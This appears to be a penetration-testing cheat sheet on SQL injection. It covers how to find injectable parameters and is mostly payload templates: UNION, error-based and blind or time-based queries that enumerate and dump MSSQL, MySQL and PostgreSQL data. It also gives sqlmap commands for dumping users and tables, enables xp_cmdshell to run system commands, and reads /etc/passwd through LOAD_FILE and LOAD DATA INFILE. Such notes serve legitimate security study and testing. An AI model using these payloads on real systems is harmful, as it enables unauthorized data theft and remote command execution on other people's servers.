SQL Injection

Making web request via Command Line

wget

Print response on STDOUT.

wget <url> -q -O -

curl

SQL Injections

3 types:

  1. In-band

  2. Error-based

  3. Blind SQL

Finding SQL Injections

In the Information Gathering phase, categorize the different input parameters and note that ones used for retrieving data from database.

Inputs:

  1. GET / POST request parameters

  2. HTTP Header

  3. Cookies

Steps:

  1. Try invalid input to see the response and error message

  2. Try SQL syntax (one at a time!):

    1. ' or "

    2. SELECT , UNION ...

    3. # , --

  3. Try Boolean-based detection to guess the SQL statement behind

    1. e.g. True = display; False = not display

In-band SQL Injection

Mainly use UNION SQL command.

<invalid> UNION ALL SELECT <field> FROM <table> WHERE <foreign_key>=<key>;-- -

Note that:

  1. Number of selected fields and data type of the first SQL statement and UNION statement should be identical

  2. Also we have to know the tables and columns name

Testing number of fields

By using NULL:

<false> UNION SELECT NULL;--
<false> UNION SELECT NULL, NULL;--
<false> UNION SELECT NULL, NULL, NULL;--
...

Testing field type

Simple, change NULL to another data type, one at a time.

Error-based SQL Injection

First, we have to know the database version by forcing DBMS error, which could reveal the database version.

<false> or 1 in (
SELECT TOP 1 CAST(<fieldname / SQL_function> as varchar(4096)) 
from <table_name> 
WHERE <fieldname> NOT IN (<list>)
);--

SQL function could be like @@version and user_name().

Each time running the payload, we will retrieve one data entry. Then add the data into the <list>. Run the payload again, we will get another.

MSSQL

Find readable databases

<false> OR 1 in (
SELECT TOP 1 CAST(db_name(0) as varchar(4096))
)--

Then increment 0, ...

Enumerate tables

false or 1 in (
SELECT TOP1 CAST(name as varchar(4096))
FROM <DB_NAME>..sysobjects
WHERE xtype='U' and name NOT IN (<known_table_list>)
);--

xtype='U' declares user-defined tables.

Enumerate columns

false or 1 in (
SELECT TOP 1 CAST (<DB_NAME>..syscolumns.name as varchar(4096))
FROM <DB_NAME>..syscolumns, <DB_NAME>..sysobjects
WHERE <DB_NAME>..syscolumns.id=<DB_NAME>..sysobjects.id
AND <DB_NAME>..sysobjects.name=<TABLE_NAME> 
AND <DB_NAME>..syscolumns.name NOT IN (<known_columns_list>)
);--

Dump data

false or 1 in (
SELECT TOP 1 CAST (<COLUMN_NAME> as varchar(4096))
FROM <DB_NAME>..<TABLE_NAME>
WHERE <COLUMN_NAME> NOT IN (<retrieved_data_list>)
);--

MySQL

  • Use group by to extract

SELECT 1,2 UNION SELECT
count(*), concat(<info_to_extract>, floor(rand(0)*2) as x
FROM information_schema.tables group by x;

Example of <info_to_extract>: version()

PostgreSQL

SELECT CASE(
(SELECT <table_name> from information_schema.tables limit 1 offset 0)
as numeric
);

Blind SQL Injection

Substring

' or substr(<field>, 1, 1) = '<character>

To optimize, for example:

# First
ASCII(UPPER(SUBSTRING((<query>),<position>, 1))) = 
ASCII(SUBSTRING(<query>), <position>, 1))

# Second
ASCII(LOWER(SUBSTRING((<query>),<position>, 1))) = 
ASCII(SUBSTRING(<query>), <position>, 1))

First \ Second

T

F

T

[0-9] or symbol

[A-Z]

F

[a-z]

N/A

Time-based

# MSSQL
if(select user) = 'sa' waitfor delay '0:0:5'

# MySQL
if exists (SELECT * FROM users WHERE username='xx') BENCHMARK(10000000, MD5(1))

SQLMap

Basic usage:

sqlmap -u <url> -p <injection_parameter> [options]

To exploit UNION-based in-band SQLi:

sqlmap -u <url> -p <injection_parameter> --technique=U

If it is a POST parameter:

sqlmap -u <url> --data=<POST_string> -p <inj_para> [options]

Grab Banner

Normally, the first step is to grab the banner:

sqlmap -u <url> --banner [other options]

Enumerate users

sqlmap -u <url> --users [other options]

Then check if the user is an admin:

sqlmap -u <url> --is-dba [other options]

List Databases

sqlmap -u <url> --dbs [other options]

Extract Schema

sqlmap -u <url> -D <db_name> --tables [other options]

Then extract the columns:

sqlmap -u <url> -D <db_name> -T <tables separated by ,> --columns

To dump selected columns:

sqlmap -u <url> -D <db_name> -T <table> -C <columns ,> --dump

Specify the DBMS

sqlmap --dbms=<dbms_name>

For example:

  • MySQL

  • Oracle

  • SQLite

  • PostgreSQL

  • Microsoft SQL Server

  • DB2

  • ...

Fine-tune Payload

If there is a string which is always be present in the TRUE output page, use --string to specify; inversely, use --not-string.

Also, if SQLi payload is inserted in a structured POST parameter like JSON, you may use --prefix and --suffix

Aggressiveness

You may specify the --level:

  • 1: GET/POST

  • 2: Cookie header

  • 3: User Agent / Referer

  • 5: Host Header

Also, you can use -p to bypass a level.

To lower the risk, you may use --risk to fine-tune the injection.

  • 1: Default, innocuous injections

  • 2: Heavy time-based injections

  • 3: Enable OR based injections

You can also do it in multi-threads:

sqlmap -u <url> --threads <no_of_threads>

XP_CMDSHELL

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC master.dbo.xp_cmdshell '<system command>';

MySQL READ WRITE Abuse

To read file, we can use:

SELECT LOAD_FILE('<file_path>');

To read binary:

SELECT HEX(LOAD_FILE('<file_path>'));

It is possible to dump a file into a table:

CREATE TABLE dumpyou(output longtext);
LOAD DATA INFILE '/etc/passwd' INTO TABLE dumpyou FIELDS TERMINATED BY '\n' (output);

To chain it,

SELECT HEX(LOAD_FILE('/bin/ls')) INTO DUMPFILE '/tmp/ls.dmp';
LOAD DATA INFILE '/tmp/ls.dmp' INTO TABLE mytable FIELDS TERMINATED BY 'xxx'
LINES TERMINATED BY 'xxx' (data);

Last updated